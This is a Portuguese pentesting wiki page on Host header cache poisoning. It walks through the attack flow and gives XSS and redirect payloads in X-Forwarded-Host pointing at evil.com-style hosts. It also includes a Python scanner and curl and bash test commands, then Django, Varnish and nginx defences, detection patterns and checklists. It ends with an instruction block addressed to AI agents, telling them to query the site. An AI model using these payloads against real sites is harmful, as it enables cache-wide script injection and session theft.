# Host Header Poisoning

Host Header Poisoning é uma técnica de ataque onde um invasor manipula o cabeçalho HTTP Host para envenenar caches web, redirecionar usuários ou injetar conteúdo malicioso que será servido posteriormente para outros usuários através de caches comprometidos.

### **Diferença entre Injection e Poisoning**

| Aspecto          | Host Header Injection | Host Header Poisoning  |
| ---------------- | --------------------- | ---------------------- |
| **Foco**         | Manipulação imediata  | Envenenamento de cache |
| **Alcance**      | Usuário individual    | Múltiplos usuários     |
| **Persistência** | Temporário            | Persistente via cache  |
| **Impacto**      | Ação direta           | Ataque em escala       |

### **Princípio de Funcionamento**

```
Requisição Poisoned → Cache Armazena Resposta → Usuários Legítimos → Conteúdo Malicioso
        ↓                     ↓                       ↓                  ↓
Atacante envia payload   Cache salva resposta   Acessam recurso     Recebem conteúdo
 com Host manipulado      comprometida          cacheado            envenenado
```

### **Componentes do Ataque**

1. **Vulnerabilidade na Aplicação** - Uso inseguro do Host header
2. **Cache Web** - Sistema que armazena respostas
3. **Payload Malicioso** - Conteúdo a ser injetado
4. **Vítimas** - Usuários que acessam o cache envenenado

***

## **⚔️ Mecanismos de Ataque**

### **Fluxo de Ataque Host Header Poisoning**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant C as Cache Server
    participant S as Servidor Web
    participant V1 as Vítima 1
    participant V2 as Vítima 2
    participant Vn as Vítima N

    Note over A,S: FASE 1: Reconhecimento do Cache
    A->>C: Requisição normal para página
    C->>S: Encaminha requisição
    S->>C: Retorna resposta limpa
    C->>A: Serve conteúdo normal
    A->>A: Identifica headers de cache e comportamento

    Note over A,S: FASE 2: Envenenamento do Cache
    A->>C: Requisição com Host header manipulado
    Note right of A: GET / HTTP/1.1<br>Host: evil.com<br>X-Forwarded-Host: evil.com
    C->>S: Encaminha requisição com headers
    S->>S: Processa request e gera resposta
    Note left of S: Gera: &lt;script src="https://evil.com/malicious.js"&gt;
    S->>C: Retorna resposta com conteúdo malicioso
    C->>C: Armazena resposta envenenada no cache
    C->>A: Confirmação do envenenamento

    Note over A,S: FASE 3: Propagação para Vítimas
    V1->>C: Requisição legítima para mesma URL
    C->>V1: Serve conteúdo envenenado do cache
    V2->>C: Outra requisição legítima
    C->>V2: Serve mesmo conteúdo envenenado
    Vn->>C: Múltiplas requisições
    C->>Vn: Propagação em massa

    Note over A,S: FASE 4: Execução do Ataque
    V1->>evil.com: Carrega script malicioso
    evil.com->>V1: Serve payload exploit
    V1->>V1: Executa código malicioso no contexto do site legítimo
```

### **Cenário 1: Cache Poisoning com XSS**

```http
GET / HTTP/1.1
Host: normal-site.com
X-Forwarded-Host: normal-site.com"><script>alert(document.domain)</script>

-- Servidor gera:
<script src="https://normal-site.com"><script>alert(document.domain)</script>/static/app.js"></script>
```

### **Cenário 2: Poisoning de Recursos Estáticos**

```http
GET /static/main.js HTTP/1.1
Host: malicious-cdn.com
X-Forwarded-Host: malicious-cdn.com

-- Cache armazena versão comprometida do JS
-- Todos os usuários recebem JS do domínio malicioso
```

### **Cenário 3: DOM-Based Cache Poisoning**

```http
GET /search?q=test HTTP/1.1
Host: target.com
X-Forwarded-Host: target.com?q=test<script>alert(1)</script>

-- Se refletido no DOM sem sanitização:
<div id="search-query">test<script>alert(1)</script></div>
```

### **Cenário 4: Poisoning com Open Redirect**

```http
GET /logout HTTP/1.1
Host: evil.com
X-Forwarded-Host: evil.com

-- Aplicação gera:
<meta http-equiv="refresh" content="0;url=https://evil.com">
```

***

## **🔎 Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```bash
# Sinais de aplicação vulnerável
- Uso de X-Forwarded-Host sem validação
- Geração dinâmica de URLs absolutas
- Reflexão do Host header em respostas
- Presença de cache web (CDN, Varnish, etc.)
- Headers de cache como X-Cache, Age, CF-Cache-Status
```

### **Headers de Cache Comuns**

```
X-Cache: HIT, MISS
Age: 3600
CF-Cache-Status: HIT
X-Varnish: 1834918349
Fastly-Cache: HIT
```

### **Metodologia de Teste Manual**

{% stepper %}
{% step %}

### Detecção de Comportamento de Cache

```bash
# Verificar se a aplicação usa cache
curl -I http://target.com/
# Buscar por: X-Cache, Age, CF-Cache-Status

# Testar requisições repetidas
curl http://target.com/ > response1.html
curl http://target.com/ > response2.html
diff response1.html response2.html
```

{% endstep %}

{% step %}

### Script de Detecção de Poisoning

```python
#!/usr/bin/env python3
# cache_poisoning_detector.py

import requests
import time
import hashlib
from urllib.parse import urljoin

class CachePoisoningDetector:
    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()
        self.cache_indicators = []
        
        # Headers para teste de poisoning
        self.poison_headers = [
            ('Host', 'poison-test.com'),
            ('X-Forwarded-Host', 'poison-test.com'),
            ('X-Host', 'poison-test.com'),
            ('X-Forwarded-Server', 'poison-test.com')
        ]
        
        # Payloads de teste
        self.payloads = [
            'poison-test.com',
            'target.com.poison-test.com',
            'target.com"><script>alert(1)</script>',
            'target.com?<script>alert(1)</script>'
        ]

    def detect_cache_behavior(self):
        """Detectar comportamento de cache da aplicação"""
        print(f"[*] Analisando comportamento de cache em {self.target_url}")
        
        # Primeira requisição
        response1 = self.session.get(self.target_url)
        cache_headers1 = self.extract_cache_headers(response1)
        
        # Segunda requisição (potencial cache hit)
        response2 = self.session.get(self.target_url)
        cache_headers2 = self.extract_cache_headers(response2)
        
        print(f"[*] Cache Headers - Req 1: {cache_headers1}")
        print(f"[*] Cache Headers - Req 2: {cache_headers2}")
        
        # Verificar se é cacheável
        if self.is_cacheable(response1):
            print("[!] Aplicação parece usar cache")
            return True
        else:
            print("[*] Aplicação não parece usar cache")
            return False

    def test_cache_poisoning(self):
        """Testar vulnerabilidade de cache poisoning"""
        print(f"[*] Testando cache poisoning em {self.target_url}")
        
        poisoned_urls = []
        
        for header_name, header_value in self.poison_headers:
            for payload in self.payloads:
                test_header_value = f"{header_value}{payload}"
                
                print(f"[*] Testando {header_name}: {test_header_value[:50]}...")
                
                try:
                    # Requisição de envenenamento
                    poison_response = self.send_poison_request(
                        self.target_url, 
                        header_name, 
                        test_header_value
                    )
                    
                    # Verificar se o payload foi refletido
                    if self.check_poison_reflection(poison_response, payload):
                        print(f"[!] Reflexão detectada com {header_name}")
                        
                        # Testar se persiste no cache
                        if self.test_poison_persistence(payload):
                            print(f"[!] POSSÍVEL CACHE POISONING com {header_name}")
                            poisoned_urls.append({
                                'header': header_name,
                                'payload': payload,
                                'url': self.target_url
                            })
                            
                except Exception as e:
                    print(f"[!] Erro no teste: {e}")
        
        return poisoned_urls

    def send_poison_request(self, url, header_name, header_value):
        """Enviar requisição de envenenamento"""
        headers = {
            header_name: header_value,
            'User-Agent': 'Cache-Poisoning-Scanner/1.0'
        }
        
        return self.session.get(url, headers=headers, timeout=10)

    def check_poison_reflection(self, response, payload):
        """Verificar se o payload é refletido na resposta"""
        response_text = response.text
        
        # Verificar reflexão direta
        if payload in response_text:
            return True
        
        # Verificar reflexão em tags específicas
        reflection_patterns = [
            f'src=".*{payload}.*"',
            f'href=".*{payload}.*"',
            f'action=".*{payload}.*"',
            f'content=".*{payload}.*"'
        ]
        
        import re
        for pattern in reflection_patterns:
            if re.search(pattern, response_text, re.IGNORECASE):
                return True
        
        return False

    def test_poison_persistence(self, payload):
        """Testar se o envenenamento persiste"""
        print("[*] Testando persistência do envenenamento...")
        
        # Aguardar possível expiração de cache
        time.sleep(2)
        
        # Requisição normal (sem headers de poisoning)
        normal_response = self.session.get(self.target_url)
        
        # Verificar se o payload ainda aparece
        if payload in normal_response.text:
            print("[!] Poisoning persiste em requisições normais!")
            return True
        else:
            print("[*] Poisoning não persistiu")
            return False

    def extract_cache_headers(self, response):
        """Extrair headers relacionados a cache"""
        cache_headers = {}
        cache_indicator_headers = [
            'x-cache', 'age', 'cf-cache-status', 'x-varnish',
            'cache-control', 'expires', 'etag', 'last-modified'
        ]
        
        for header, value in response.headers.items():
            if header.lower() in cache_indicator_headers:
                cache_headers[header] = value
                
        return cache_headers

    def is_cacheable(self, response):
        """Determinar se a resposta é cacheável"""
        cache_control = response.headers.get('Cache-Control', '')
        
        # Verificar headers que indicam cache
        if 'public' in cache_control.lower():
            return True
        if 'max-age' in cache_control.lower():
            return True
        if response.headers.get('X-Cache'):
            return True
        if response.headers.get('CF-Cache-Status'):
            return True
            
        return False

    def generate_report(self, poisoned_urls):
        """Gerar relatório de vulnerabilidades"""
        return {
            'target_url': self.target_url,
            'cache_detected': self.detect_cache_behavior(),
            'poisoning_vulnerabilities': len(poisoned_urls),
            'vulnerable_endpoints': poisoned_urls
        }

# Uso do detector
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) != 2:
        print("Uso: python cache_poisoning_detector.py <target_url>")
        sys.exit(1)
    
    target = sys.argv[1]
    detector = CachePoisoningDetector(target)
    
    # Executar detecção
    cache_detected = detector.detect_cache_behavior()
    
    if cache_detected:
        poisoned_urls = detector.test_cache_poisoning()
        report = detector.generate_report(poisoned_urls)
        
        print(f"\n[+] Relatório Final:")
        print(f"    URLs testadas: 1")
        print(f"    Vulnerabilidades de poisoning: {report['poisoning_vulnerabilities']}")
        
        for vuln in report['vulnerable_endpoints']:
            print(f"    - {vuln['header']}: {vuln['payload'][:30]}...")
    else:
        print("[-] Cache não detectado, poisoning improvável")
```

{% endstep %}
{% endstepper %}

### **Técnicas de Detecção Avançadas**

{% stepper %}
{% step %}

### Detecção de Keyed Headers

```bash
# Identificar quais headers afetam o cache
curl -H "X-Forwarded-Host: test1.com" http://target.com/ > response1
curl -H "X-Forwarded-Host: test2.com" http://target.com/ > response2

# Se diferentes, X-Forwarded-Host é "keyed" no cache
diff response1 response2
```

{% endstep %}

{% step %}

### Teste de Unkeyed Headers

```python
def find_unkeyed_headers(target_url):
    """Encontrar headers que não afetam a chave de cache"""
    test_headers = [
        'X-Forwarded-Host', 'X-Host', 'X-Forwarded-Server',
        'X-Original-Host', 'X-Rewrite-URL', 'Forwarded'
    ]
    
    unkeyed_headers = []
    
    for header in test_headers:
        # Requisição com header
        resp1 = requests.get(target_url, headers={header: 'test1'})
        resp2 = requests.get(target_url, headers={header: 'test2'})
        
        # Se respostas são iguais, header é unkeyed
        if resp1.content == resp2.content:
            unkeyed_headers.append(header)
    
    return unkeyed_headers
```

{% endstep %}
{% endstepper %}

***

## **💥 Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

{% stepper %}
{% step %}

### Cache Poisoning com XSS Persistente

```http
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: target.com"></script><script>alert(document.cookie)</script>

-- Cache armazena:
<html>
<head>
<script src="https://target.com"></script><script>alert(document.cookie)</script>/app.js">
</head>
...
```

{% endstep %}

{% step %}

### Poisoning de API Endpoints

```http
GET /api/user/profile HTTP/1.1
Host: malicious-api.com
X-Forwarded-Host: malicious-api.com

-- Resposta envenenada:
{
  "user": "admin",
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "avatar": "https://malicious-api.com/steal-cookie"
}
```

{% endstep %}

{% step %}

### Web Cache Deception via Poisoning

```http
GET /account/settings HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com

-- Cache armazena página sensível
-- Atacante acessa via cache com conteúdo de outra vítima
```

{% endstep %}

{% step %}

### Poisoning com CRLF Injection

```http
GET / HTTP/1.1
Host: target.com\r\nX-Forwarded-Host: evil.com\r\nX-Cache: HIT

-- Potencial para manipulação direta do cache
```

{% endstep %}
{% endstepper %}

### **Impacto do Host Header Poisoning**

#### **Cenários de Ataque em Larga Escala**

```json
{
  "xss_distribuido": {
    "impacto": "Alto",
    "alcance": "Todos os usuários do cache",
    "consequencias": [
      "Roubo de sessões em massa",
      "Defacement automático",
      "Keylogging distribuído",
      "Redirecionamento para phishing"
    ]
  },
  "data_exfiltration": {
    "impacto": "Crítico",
    "alcance": "Dados sensíveis de múltiplos usuários",
    "consequencias": [
      "Exfiltração de tokens API",
      "Roubo de dados pessoais",
      "Captura de credenciais",
      "Acesso a informações privadas"
    ]
  },
  "business_impact": {
    "impacto": "Alto",
    "alcance": "Reputação e operação",
    "consequencias": [
      "Perda de confiança dos usuários",
      "Impacto financeiro direto",
      "Problemas legais e compliance",
      "Tempo de inatividade do serviço"
    ]
  }
}
```

#### **Estatísticas de Impacto**

```
- Tempo de persistência: Minutos a horas (depende da configuração de cache)
- Número de vítimas: Potencialmente todos os usuários do cache
- Alcance geográfico: Global (se usando CDN)
- Dificuldade de detecção: Alta (ataque parece legítimo)
```

***

## **🛡️ Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

{% stepper %}
{% step %}

### Validação de Host Header na Aplicação

```python
from django.http import HttpResponseBadRequest
import re

class CachePoisoningProtectionMiddleware:
    """
    Middleware específico para prevenção de cache poisoning
    """
    
    def __init__(self, get_response):
        self.get_response = get_response
        self.allowed_domains = {
            'example.com', 'www.example.com', 'cdn.example.com'
        }
        
        # Regex para validação estrita de host
        self.valid_host_pattern = re.compile(
            r'^[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,}$',
            re.IGNORECASE
        )

    def __call__(self, request):
        # Validar e sanitizar todos os headers de host
        safe_headers = self.sanitize_host_headers(request)
        
        if not safe_headers['valid']:
            return HttpResponseBadRequest("Invalid host headers detected")
        
        # Adicionar headers de segurança anti-cache-poisoning
        response = self.get_response(request)
        response = self.add_cache_security_headers(response)
        
        return response

    def sanitize_host_headers(self, request):
        """Sanitizar todos os headers relacionados a host"""
        headers_to_validate = [
            'HTTP_HOST',
            'HTTP_X_FORWARDED_HOST', 
            'HTTP_X_HOST',
            'HTTP_X_FORWARDED_SERVER'
        ]
        
        for header in headers_to_validate:
            value = request.META.get(header)
            if value and not self.is_safe_host_value(value):
                return {'valid': False, 'invalid_header': header}
        
        return {'valid': True}

    def is_safe_host_value(self, host_value):
        """Validar valor de host de forma segura"""
        # Remover porta se presente
        host = host_value.split(':', 1)[0]
        
        # Validar formato
        if not self.valid_host_pattern.match(host):
            return False
        
        # Validar contra domínios permitidos
        if host not in self.allowed_domains:
            # Verificar subdomínios
            for domain in self.allowed_domains:
                if host.endswith('.' + domain):
                    return True
            return False
        
        return True

    def add_cache_security_headers(self, response):
        """Adicionar headers de segurança para cache"""
        # Prevenir cache em respostas dinâmicas
        if self.is_dynamic_content(response):
            response['Cache-Control'] = 'no-store, no-cache, must-revalidate'
            response['Pragma'] = 'no-cache'
            response['Expires'] = '0'
        
        # Header específico para CDNs
        response['X-Cache-Poisoning-Protection'] = 'validated'
        
        return response

    def is_dynamic_content(self, response):
        """Determinar se o conteúdo é dinâmico e não deve ser cacheado"""
        content_type = response.get('Content-Type', '')
        return 'text/html' in content_type or 'application/json' in content_type
```

{% endstep %}

{% step %}

### Configuração Segura de Cache

**Varnish Configuration**

```varnish
# /etc/varnish/default.vcl
vcl 4.0;

# Backend definition
backend default {
    .host = "127.0.0.1";
    .port = "8080";
}

sub vcl_recv {
    # Normalizar Host header para prevenir poisoning
    if (req.http.Host) {
        set req.http.Host = regsub(req.http.Host, ":80$", "");
        set req.http.Host = regsub(req.http.Host, ":443$", "");
    }
    
    # Remover headers de proxy não confiáveis
    unset req.http.X-Forwarded-Host;
    unset req.http.X-Host;
    unset req.http.X-Forwarded-Server;
    
    # Validar Host header
    if (req.http.Host !~ "^(www\.)?example\.com$") {
        return (synth(400, "Invalid Host header"));
    }
    
    # Não cachear requisições com headers suspeitos
    if (req.http.X-Forwarded-Host || req.http.X-Host) {
        return (pass);
    }
    
    # Cache key deve incluir apenas elementos seguros
    set req.hash_ignore_busy = true;
}

sub vcl_backend_response {
    # Adicionar headers de segurança
    set beresp.http.X-Cache-Validated = "true";
    
    # Limitar cache de conteúdo dinâmico
    if (beresp.http.Content-Type ~ "text/html|application/json") {
        set beresp.ttl = 60s; # Cache curto para conteúdo dinâmico
        set beresp.http.Cache-Control = "public, max-age=60";
    }
}

sub vcl_deliver {
    # Headers de diagnóstico
    if (obj.hits > 0) {
        set resp.http.X-Cache = "HIT";
    } else {
        set resp.http.X-Cache = "MISS";
    }
}
```

{% endstep %}

{% step %}

### Web Application Firewall Rules

```nginx
# Nginx WAF para prevenção de cache poisoning
http {
    # Map para hosts válidos
    map $http_host $valid_host {
        default 0;
        "~*^example\.com$" 1;
        "~*^www\.example\.com$" 1;
        "~*^cdn\.example\.com$" 1;
    }
    
    server {
        listen 80;
        
        # Bloqueio de cache poisoning
        if ($valid_host = 0) {
            return 444;
        }
        
        # Bloquear headers de proxy
        if ($http_x_forwarded_host) {
            return 444;
        }
        
        if ($http_x_host) {
            return 444;
        }
        
        # Rate limiting para prevenir ataques de poisoning
        location / {
            limit_req zone=poisoning burst=10 nodelay;
            proxy_pass http://backend;
            
            # Headers de segurança
            proxy_hide_header X-Powered-By;
            proxy_set_header X-Content-Type-Options "nosniff";
        }
    }
    
    # Zone para rate limiting
    limit_req_zone $binary_remote_addr zone=poisoning:10m rate=1r/s;
}
```

{% endstep %}
{% endstepper %}

### **Monitoramento e Detecção**

#### **1. Sistema de Detecção de Poisoning**

```python
# poisoning_detector.py
import redis
import json
import logging
from datetime import datetime, timedelta

class PoisoningDetector:
    def __init__(self):
        self.redis_client = redis.Redis(host='localhost', port=6379, db=0)
        self.suspicious_patterns = [
            r'<script[^>]*src="[^"]*[^a-zA-Z0-9.-]',
            r'alert\([^)]*\)',
            r'eval\([^)]*\)',
            r'document\.cookie',
            r'window\.location'
        ]
    
    def monitor_cache_responses(self, response_data):
        """Monitorar respostas de cache por sinais de poisoning"""
        import re
        
        for pattern in self.suspicious_patterns:
            if re.search(pattern, response_data, re.IGNORECASE):
                self.alert_poisoning_detected(response_data)
                return True
        
        return False
    
    def alert_poisoning_detected(self, malicious_content):
        """Alertar sobre poisoning detectado"""
        alert_data = {
            'timestamp': datetime.now().isoformat(),
            'type': 'cache_poisoning',
            'content_sample': malicious_content[:500],
            'severity': 'HIGH'
        }
        
        # Log do alerta
        logging.critical(f"Cache poisoning detected: {alert_data}")
        
        # Publicar para sistema de alerta
        self.redis_client.publish('security-alerts', json.dumps(alert_data))
        
        # Invalidação emergencial de cache
        self.invalidate_suspicious_cache()
    
    def invalidate_suspicious_cache(self):
        """Invalidar cache potencialmente comprometido"""
        # Implementar lógica de invalidação baseada no WAF/CDN
        pass
```

***

## **🔧 Ferramentas e Testes**

### **Ferramentas Especializadas em Cache Poisoning**

{% stepper %}
{% step %}

### Param Miner (Burp Extension)

```python
# Exemplo de detecção de headers unkeyed
def find_unkeyed_headers(target):
    """
    Encontrar headers que não afetam a chave de cache
    """
    headers_to_test = [
        'X-Forwarded-Host', 'X-Host', 'X-Forwarded-Server',
        'X-Original-URL', 'X-Rewrite-URL', 'Forwarded'
    ]
    
    unkeyed = []
    
    for header in headers_to_test:
        base_response = requests.get(target)
        poisoned_response = requests.get(target, headers={header: 'test'})
        
        if base_response.content == poisoned_response.content:
            unkeyed.append(header)
    
    return unkeyed
```

{% endstep %}

{% step %}

### Cache Poisoning Toolkit

```bash
#!/bin/bash
# cache_poisoning_tester.sh

TARGET=$1
HEADERS=("X-Forwarded-Host" "X-Host" "X-Forwarded-Server")

echo "Testing Cache Poisoning on: $TARGET"

for header in "${HEADERS[@]}"; do
    echo "Testing header: $header"
    
    # Teste de reflexão
    curl -s -H "$header: poison-test" "$TARGET" | grep -q "poison-test" && \
        echo "  [!] Reflection found with $header"
    
    # Teste de persistência
    curl -s -H "$header: persistent-test" "$TARGET" > /tmp/poisoned
    curl -s "$TARGET" > /tmp/normal
    diff /tmp/poisoned /tmp/normal && \
        echo "  [!] Possible persistence with $header"
done
```

{% endstep %}
{% endstepper %}

### **Comandos de Teste Manuais**

```bash
# Teste básico de cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/

# Teste com múltiplos headers
curl -H "Host: target.com" -H "X-Forwarded-Host: evil.com" http://target.com/

# Teste de persistência
curl -H "X-Forwarded-Host: test1" http://target.com/ > response1
curl http://target.com/ > response2
diff response1 response2

# Verificar headers de cache
curl -I http://target.com/ | grep -i cache
```

***

## **📋 Checklists de Segurança**

### **Checklist de Prevenção Cache Poisoning**

* [ ] **Validação de Headers**
  * [ ] Lista branca de hosts permitidos
  * [ ] Validação de todos os headers de proxy
  * [ ] Rejeição de headers não confiáveis
  * [ ] Sanitização de valores de host
* [ ] **Configuração de Cache**
  * [ ] Cache key inclui apenas elementos seguros
  * [ ] Headers de proxy excluídos da cache key
  * [ ] TTL apropriado para conteúdo dinâmico
  * [ ] Invalidação segura de cache
* [ ] **Segurança na Aplicação**
  * [ ] Nunca usar headers HTTP para URLs absolutas
  * [ ] Validação de entrada em todas as reflexões
  * [ ] Content Security Policy implementada
  * [ ] Headers de segurança anti-cache-poisoning
* [ ] **Monitoramento**
  * [ ] Detecção de padrões de poisoning
  * [ ] Alertas para headers suspeitos
  * [ ] Logging de tentativas de poisoning
  * [ ] Auditoria regular de cache

### **Checklist de Auditoria**

* [ ] **Testes de Segurança**
  * [ ] Teste com headers Host manipulados
  * [ ] Verificação de reflexão em respostas
  * [ ] Teste de persistência no cache
  * [ ] Análise de headers unkeyed
* [ ] **Revisão de Configuração**
  * [ ] Configuração de web server
  * [ ] Configuração de cache (Varnish, CDN)
  * [ ] Regras de WAF/load balancer
  * [ ] Configurações de framework
* [ ] **Análise de Código**
  * [ ] Uso de request.get\_host() e similares
  * [ ] Geração de URLs absolutas
  * [ ] Reflexão de inputs do usuário
  * [ ] Headers de cache e segurança

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitoramento de conteúdo de cache
  * [ ] Análise de logs de acesso
  * [ ] Alertas de segurança
  * [ ] Relatórios de usuários
* [ ] **Contenção**
  * [ ] Invalidação imediata de cache
  * [ ] Bloqueio de IPs maliciosos
  * [ ] Desativação de endpoints afetados
  * [ ] Comunicação transparente
* [ ] **Correção**
  * [ ] Implementação de validações
  * [ ] Atualização de configurações
  * [ ] Reteste de vulnerabilidades
  * [ ] Análise pós-incidente

***

## **📊 Exemplos de Implementação Segura**

### **Sistema Completo de Prevenção**

```python
# security/cache_protection.py
import re
import logging
from django.core.cache import cache
from django.http import HttpResponseBadRequest

class CachePoisoningProtectionSystem:
    """
    Sistema abrangente de proteção contra cache poisoning
    """
    
    def __init__(self):
        self.logger = logging.getLogger('cache_security')
        self.allowed_domains = self.load_allowed_domains()
        
    def load_allowed_domains(self):
        """Carregar domínios permitidos da configuração"""
        from django.conf import settings
        return set(getattr(settings, 'ALLOWED_DOMAINS', []))
    
    def validate_host_headers(self, request):
        """
        Validar todos os headers relacionados a host
        Retorna host seguro ou None se inválido
        """
        host_headers = [
            request.META.get('HTTP_HOST'),
            request.META.get('HTTP_X_FORWARDED_HOST'),
            request.META.get('HTTP_X_HOST')
        ]
        
        # Encontrar primeiro header válido
        for host in host_headers:
            if host and self.is_valid_host(host):
                return self.normalize_host(host)
        
        return None
    
    def is_valid_host(self, host):
        """Validar host de forma segura"""
        if not host or len(host) > 253:
            return False
        
        # Remover porta
        host = host.split(':', 1)[0]
        
        # Validar formato
        if not re.match(r'^[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,}$', host, re.IGNORECASE):
            return False
        
        # Validar contra domínios permitidos
        return self.is_allowed_domain(host)
    
    def is_allowed_domain(self, domain):
        """Verificar se o domínio está na lista de permitidos"""
        if domain in self.allowed_domains:
            return True
        
        # Verificar subdomínios
        for allowed_domain in self.allowed_domains:
            if domain.endswith('.' + allowed_domain):
                return True
        
        return False
    
    def normalize_host(self, host):
        """Normalizar host para formato seguro"""
        host = host.split(':', 1)[0]  # Remover porta
        host = host.lower()  # Case insensitive
        return host
    
    def detect_poisoning_attempt(self, request):
        """Detectar tentativas de cache poisoning"""
        suspicious_indicators = [
            'HTTP_X_FORWARDED_HOST' in request.META,
            'HTTP_X_HOST' in request.META,
            'HTTP_X_FORWARDED_SERVER' in request.META,
            request.META.get('HTTP_HOST') not in self.allowed_domains
        ]
        
        if any(suspicious_indicators):
            self.log_security_event(request, 'cache_poisoning_attempt')
            return True
        
        return False
    
    def log_security_event(self, request, event_type):
        """Registrar evento de segurança"""
        client_ip = self.get_client_ip(request)
        user_agent = request.META.get('HTTP_USER_AGENT', 'Unknown')
        
        log_data = {
            'timestamp': self.get_current_timestamp(),
            'event_type': event_type,
            'client_ip': client_ip,
            'user_agent': user_agent,
            'path': request.path,
            'headers': dict(request.META)
        }
        
        self.logger.warning(f"Security event: {log_data}")
        
        # Armazenar em cache para análise
        cache_key = f"security_event:{client_ip}:{self.get_current_timestamp()}"
        cache.set(cache_key, log_data, timeout=3600)  # 1 hora

# Uso no middleware
class AdvancedCacheProtectionMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
        self.protection_system = CachePoisoningProtectionSystem()

    def __call__(self, request):
        # Validar headers antes de qualquer processamento
        safe_host = self.protection_system.validate_host_headers(request)
        
        if not safe_host:
            return HttpResponseBadRequest("Invalid Host header")
        
        # Detectar tentativas de poisoning
        if self.protection_system.detect_poisoning_attempt(request):
            # Log adicional para tentativas
            pass
        
        response = self.get_response(request)
        
        # Adicionar headers de segurança
        response['X-Cache-Security'] = 'protected'
        response['X-Content-Type-Options'] = 'nosniff'
        
        return response
```

### **Configuração de CDN Segura**

```nginx
# nginx-cdn-security.conf
# Configuração segura para CDN com proteção contra poisoning

http {
    # Map para validação de hosts
    map $http_host $valid_host {
        default 0;
        "~*^example\.com$" 1;
        "~*^www\.example\.com$" 1;
        "~*^cdn\.example\.com$" 1;
        "~*^assets\.example\.com$" 1;
    }
    
    # Map para conteúdo cacheável
    map $uri $cacheable_content {
        default 0;
        "~*\.(css|js|png|jpg|jpeg|gif|ico|woff|woff2)$" 1;
        "~*^/static/" 1;
        "~*^/media/" 1;
    }
    
    server {
        listen 80;
        server_name cdn.example.com;
        
        # Validação estrita de Host header
        if ($valid_host = 0) {
            return 444;
        }
        
        # Remover headers de proxy não confiáveis
        proxy_set_header X-Forwarded-Host "";
        proxy_set_header X-Host "";
        
        # Configuração de cache segura
        location ~* \.(css|js|png|jpg|jpeg|gif|ico|woff|woff2)$ {
            # Cache apenas para recursos estáticos
            proxy_cache static_cache;
            proxy_cache_valid 200 1h;
            proxy_cache_key "$scheme$request_method$host$request_uri";
            add_header X-Cache-Status $upstream_cache_status;
            
            # Headers de segurança
            add_header X-Content-Type-Options "nosniff";
            add_header X-Frame-Options "DENY";
            
            proxy_pass http://backend;
        }
        
        location / {
            # Não cachear conteúdo dinâmico na CDN
            proxy_pass http://backend;
            add_header Cache-Control "no-cache, no-store, must-revalidate";
        }
    }
    
    # Cache zone para recursos estáticos
    proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=static_cache:10m max_size=1g;
}
```

***

## **⚠️ Considerações Finais**

### **Mitos Comuns sobre Cache Poisoning**

* ❌ "Só afeta aplicações com cache configurado" → **FALSO** (CDNs e caches de browser também são afetados)
* ❌ "HTTPS previne cache poisoning" → **FALSO** (ataque funciona igual em HTTPS)
* ❌ "É fácil detectar e prevenir" → **FALSO** (requer configuração cuidadosa e monitoramento)

### **Boas Práticas Essenciais**

1. **Validate All Inputs**: Sempre validar headers HTTP, especialmente Host
2. **Use Allow Lists**: Lista branca de domínios permitidos
3. **Secure Cache Configuration**: Configurar cache keys de forma segura
4. **Monitor Continuously**: Monitorar tentativas e padrões suspeitos

### **Referências e Padrões**

* OWASP Web Cache Poisoning Cheat Sheet
* RFC 7234: HTTP/1.1 Caching
* Cloudflare Cache Security Guidelines
* Akamai Cache Control Best Practices

{% hint style="info" %}
**🔐 Lembre-se**: Cache Poisoning é um ataque sorrateiro que pode afetar milhares de usuários através de uma única requisição maliciosa. Implemente defesas em múltiplas camadas e mantenha monitoramento constante para proteger sua aplicação e usuários.
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/server-side-infraestrutura-web/host-header-poisoning.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
